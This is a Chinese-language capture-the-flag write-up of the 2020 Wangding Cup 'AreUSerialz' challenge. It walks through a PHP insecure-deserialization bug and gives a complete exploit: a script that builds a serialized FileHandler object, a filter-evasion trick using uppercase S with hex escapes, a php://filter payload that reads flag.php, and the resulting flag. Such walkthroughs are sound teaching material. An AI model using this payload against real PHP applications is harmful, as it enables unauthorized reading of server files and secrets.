[网鼎杯 2020 青龙组]AreUSerialz-PHP反序列化
[网鼎杯 2020 青龙组]AreUSerialz
-
我们打开页面,发现如下代码:
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
我们进行一下代码审计:
-
先通过GET方式传入一个str变量,然后调用is_valid函数,最后将str字符串反序列化
if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
-
is_valid函数是判断传入的变量是否是ascii码值在32-125之间的,如果不在返回false,否则返回ture.但是PHP序列化的时候private和protected变量会引入不可见字符\x00,这些字符对应的ascii码为0,经过is_valid函数以后会返回false,导致无法执行到反序列函数。
所以我们可以将ascii码为0的用"\00"来代替
但是在php打序列化字符串中只要把其中的s改成大写打S,后面打字符串就可以用十六进制表示
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } //(ord($s[$i])就是返回$s[$i]的ascii码值 例子: <?php echo ord("h")."<br>"; ?> 返回结果:104 //h对应的ascii码正好是104
-
然后is_valid函数判断完之后,会将$str反序列化,这个时候会调用__destruct函数
__destruct:在一个对象销毁的时候自动调用
函数参考链接:https://segmentfault.com/a/1190000007250604
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
会首先判断$op是不是=‘2’,不是数字2,因为这是“===”强比较类型,会首先判断变量类型。如果op==='2',就将op赋值为‘1’,然后content赋值为“”就是为空,然后调用process函数
-
process:
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); }
会先判断op==“1”,是就进入write函数,不是就会判断op==‘2’,是的话就会进入read()函数,然后输出$res变量,否则输出“Bad Hacker!”
-
我们看看read()和write()
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
我们发现write()函数就是判断filename和content变量是不是为空,然后判断conteng长度是不是>100,是就调用output函数输出“Too long!”,然后读取filename和conteng文件赋值给$res,判断是否为真,为真输出“Successful!”,为假输出"Failed!",显然并没有输出什么有用的信息。
我们再来看看read(),首先将$res变量=“”,然后判断filename是否有内容,将内容读取返回之后用output输出,这个时候我们可以通过filename访问flag.php文件,这个变量是我们可控的。所以我们构造payload选择进入read()函数
output:就是输出传入的参数$s
private function output($s) { echo "[Result]: <br>"; echo $s; }
所以我们构造EXP:
我们需要将op=2,判断op===“2”时返回false,但是判断op==“2”时返回ture,这是php的弱比较类型和强比较类型的区别,有兴趣的同学可以自行百度搜索。
这个时候就会进入read()函数,里面会有$res = file_get_contents($this->filename),这个时候我们可以用php伪协议来读取flag.php
filename=php://filter/read=convert.base64-encode/resource=flag.php 不可以直接filename=flag.php 因为php文件需要进行base64编码,否则读取不到内容
完整的EXP:
<?php class FileHandler { protected $op=2; protected $filename="php://filter/read=convert.base64-encode/resource=flag.php"; protected $content=""; } $a=new FileHandler(); $b=serialize($a); $b = str_replace(chr(0),'\00',$b); $b = str_replace('s:','S:',$b); echo $b; ?>
输出结果:
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";S:0:"";}
然后我们构造payload输入:
-
得到一串base64编码,我们解密得到flag:
<?php $flag='flag{36dd844a-6cdc-40f4-a885-bc3e54524d52}';